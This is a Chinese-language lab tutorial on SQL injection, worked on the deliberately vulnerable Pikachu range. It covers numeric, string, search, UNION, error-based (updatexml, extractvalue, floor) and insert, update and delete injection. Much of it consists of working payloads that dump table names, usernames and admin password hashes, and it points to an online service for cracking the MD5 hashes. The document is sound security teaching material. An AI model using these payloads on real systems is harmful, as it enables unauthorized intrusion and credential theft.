SQL注入
一.概述
数据库注入漏洞,主要是开发人员在构建代码时, 没有对输入边界进行安全考虑,导致攻击者可以通过合法的输入点提交一些精心构造的语句,从而欺骗后台数据库对其进行执行,导致数据库信息泄漏的一-种漏洞。
在owasp发布的top10排行榜里,注入漏洞一直是危害排名第一的漏洞,其中注入漏洞里面首当其冲的就是数据库注入漏洞。
一个严重的SQL注入漏洞,可能会直接导致一家公司破产!
SQL注入漏洞主要形成的原因是在数据交互中,前端的数据传入到后台处理时,没有做严格的判断,导致其传入的“数据”拼接到SQL语句中后,被当作SQL语句的一部分执行。 从而导致数据库受损(被脱裤、被删除、甚至整个服务器权限沦陷)。
在构建代码时,一般会从如下几个方面的策略来防止SQL注入漏洞:
1.对传进SQL语句里面的变量进行过滤,不允许危险字符传入;
2.使用参数化(Parameterized Query 或 Parameterized Statement);
3.还有就是,目前有很多ORM框架会自动使用参数化解决注入问题,但其也提供了"拼接"的方式,所以使用时需要慎重!
二、攻击流程
三、注入点类型
四、数字型注入(post)
1.打开pikachu,找到数字型注入(POST),这里可以选择查询返回用户名和邮箱
2.post请求需打开burpsuite工具,点击抓取到的post请求,发送到repeater
3.点击Repeater中的GO,打开右边的Response中的Render,可以看到得出的信息是和在pikachu里查询的信息是一样的
4.接下来进行测试看是否存在SQL漏洞,修改Request中的信息,把id=3修改为id=1 or 1=1,点击Go,可以看到获取了所有用户的信息,确定存在着一个数字型的SQL注入漏洞!
5.可以在id=1后面加单引号,显示报错,说明存在SQL注入!
查看pikachu的后端源码,看漏洞是如何形成的。可以看到id=$id是从前端获取并且没有经过任何处理直接放进去的,可以看到$id没有单引号或者双引号,说明它是个数字型变量,可以用相关的函数连接数据库执行SQL语句,这样就导致了$id可以被直接控制,并且可以通过拼接构造合法的SQL语句造成信息的泄漏。
五.字符型注入(post)
1.打开pikacu找到字符型输入kobe
2.猜想语句为select name,email from 表名 where id = $id
当我们输入 kobe' or '1'='1,当然我们也可以通过注释来输入比如kobe' or 1=1#来查询语句。
select name,email from table where id = 'kobe' or '1'='1'
六.搜索型
搜索型就是当记不住用户名时,可以输入字符,它就会查询中这个字符的所有结果
2.猜想后台查询语句
select name,email from 表名 where id = '%$name%'
构造合法的闭合,输入x%' or 1=1#或x%' or '1'='1'#
七.xx型
1.在pikachu页面中输入1加单引号,可以看到显示报错,所以它是用一个括号来拼接前端获取的字符
查看后台代码
2.通过后端代码猜想一个合法的闭合('x'or1=1#'),即把x') or 1=1#输入到pikachu 中
八.union
通过联合查询来查询指定的数据,比如下面的语句
select 字段1,字段2 from user where id=1 union select 字段1,字段2 from 表名
联合查询的字段数需要和主查询一致。
通过select database(); select user(); select version(); 查询数据库的数据库、用户和版本信息。
用 order by 来帮助我们猜测后台查询语句查询的字段数select 字段1,字段2 from users order by 1;后面跟着的数字表示根据查询结果的第几列进行排序,如果后台查询 2 个字段,那我们 order by 3 时就会报错,order by 2 时会正常返回。
通过information_schema拿下数据库
uploading-image-496008.png
1.显示所有的数据:
然后构造payload(x' or 1=1#),可以取出表中的全部数据
2.确认主查询有多少个字段:
用 order by 确认主查询有多少个字段依次输入以下代码在对话框。
' or 1=1 order by 1#
' or 1=1 order by 2#
' or 1=1 order by 3#
当 odery by 3时报错,说明主查询中有 2 个字段
3.通过' union select database(),user() # 获得当前数据库名称:
4.获取表名:
select id,email from member where username = 'kobe'union select table_schema,table_name information_schema.tables where table_schema='pikachu' #
test payload:
kobe' union select table_schema,table_name from information_schema.tables where table_schema='pikachu' #
5.获取字段名
select id,email from member where username = 'kobe' union select table_name,column_name from information_schema.columns where table_name='users' #
test payload:
kobe' union select table_name,column_name from information_schema.columns where table_name='users' #
6.通过数据库,表,列名盗窃用户的信息:
对话框kobe' union select username,password from users #
7.通过上图我们可以经过访问https://www.cmd5.com/破解md5加密的密码。
九.基于报错
三个常用函数
updatexml(): MySQL 对 XML 文档数据进行查询和修改的 XPATH 函数
extractvalue():MySQL 对 XML 文档数据进行查询的 XPATH 函数
floor():MySQL中用来取整的函数
1.updatexml()
updatexml()函数作用:改变(查找并替换)XML 文档中符合条件的节点的值
语法:UPDATEXML (XML_document, XPath_string, new_value)
第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc
第二个参数:XPath_string (Xpath格式的字符串) ,如果不了解Xpath语法,可以在网上查找教程。不过这里用不到。
第三个参数:new_value,String格式,替换查找到的符合条件的数据
XPath 定位必须是有效的,否则会发生错误
在 pikachu 平台上的字符型注入中实验
在对话框中输入kobe' and updatexml(1, version(), 0)#
我们传入 updatexml 中的三个参数都是错误的,中间那个值可以用表达式写入。执行后会得到类似错误
如果我们构造' and updatexml(1, concat(0x7e, version()), 0)#,会把报错信息和我们查询的信息一起输出(0x7e是符号 “~” 的16进制)
便可以看到MySQL版本,这样我们把 version() 换成 database() 就能取得数据库的名称
当我们输入
' and updatexml(1, concat(0x7e, (select table_name from information_schema.tables where table_schema='pikachu')), 0)#时会报错:Subquery returns more than 1 row
所以我们可以使用limit一次次进行获取表名
' and updatexml(1, concat(0x7e, (select table_name from information_schema.tables where table_schema='pikachu' limit 0,1)), 0)#
limit后的第一个是起始位置,第二个数字是步长,这样我们可以获取所有的表名。获取表名后,再获取列名。
' and updatexml(1, concat(0x7e, (select column_name from information_schema.columns where table_name='users' limit 0,1)), 0)#
获取到列名称后,就可以获取数据
' and updatexml(1, concat(0x7e, (select username from users limit 0,1)), 0)#
然后根据得到的用户名,去查询password
' and updatexml(1, concat(0x7e, (select password from users where username = 'admin' limit 0,1)), 0)#
2.extractvalue()
extractvalue()函数作用:从目标 XML 中返回包含所查询值的字符串
语法:ExtractValue(xml_document, XPathstring)
第一个参数:xml_document 是 string 格式,为 XML 文档对象的名称
第二个参数: XPathstring,XPath 格式的字符串
Xpath定位必须有效,否则会发生错误。
同样在字符型漏洞中实验,构造以下 payload
kobe' and extractvalue(0, concat(0x7e,version())) #
其原理和updatexml类似
3.floor()
向下取整。如果要用 floor() 构成报错,必须满足下面的条件
运算中有 count、 group by、rand
构造payload
kobe' and (select 2 from (select count(), concat(version(), floor(rand(0) * 2))x from information_schema.tables group by x)a)#
上面表达式执行的结果会以 “a” 作为别名,然后在 字符型注入 中提交,会得到下面的报错
将version()替换成别的
kobe' and (select 2 from (select count(), concat((select password from users where username='admin' limit 0,1), floor(rand(0) * 2))x from information_schema.tables group by x)a)#
十.insert\update\delete注入
1.insert 注入是指我们前端注册的信息,后台会通过 insert 这个操作插入到数据库中。如果后台没对我们的输入做防 SQL 注入处理,我们就能在注册时通过拼接 SQL 注入
打开pikachu靶场,在insert/update登录页面点击注册,在用户栏中输入单引号,密码栏随便输入内容然后提交。
提交后,会看到显示报错,说明了提交的内容参与到了后台的拼接导致了一个语法的错误!
insert 语句,我们一般可以通过 or 进行闭合。猜测一下后端代码可能是
insert into member(username,pw,sex,phonenum,email,adderss) values('xiaohong',22);
构造下面的 payload填到用户中
xiaohong' or updatexml(1, concat(0x7e,database()), 0) or '
2.update
update演示,先在靶场页面中登录,然后点击修改个人信息,把insert演示中的payload输入到任意一栏中,点击提交,就能获取到数据库的信息了。
3.delete
打开pikachu靶场,可以看到页面是和存储型XSS是一样的,把留言列表下的记录删除.首先我们输入一个1,如何删除,抓包看一下。
实际上就是传递了一个留言的 id,后台根据这个 id 去删除留言,并且我们可以看出来这是一个数字型的,这样我们可以构造的 payload。
1 or updatexml(1, concat(0x7e,database()), 0)
因为参数是通过URL提交的,所以要对闭合代码进行URL编码
提交成功后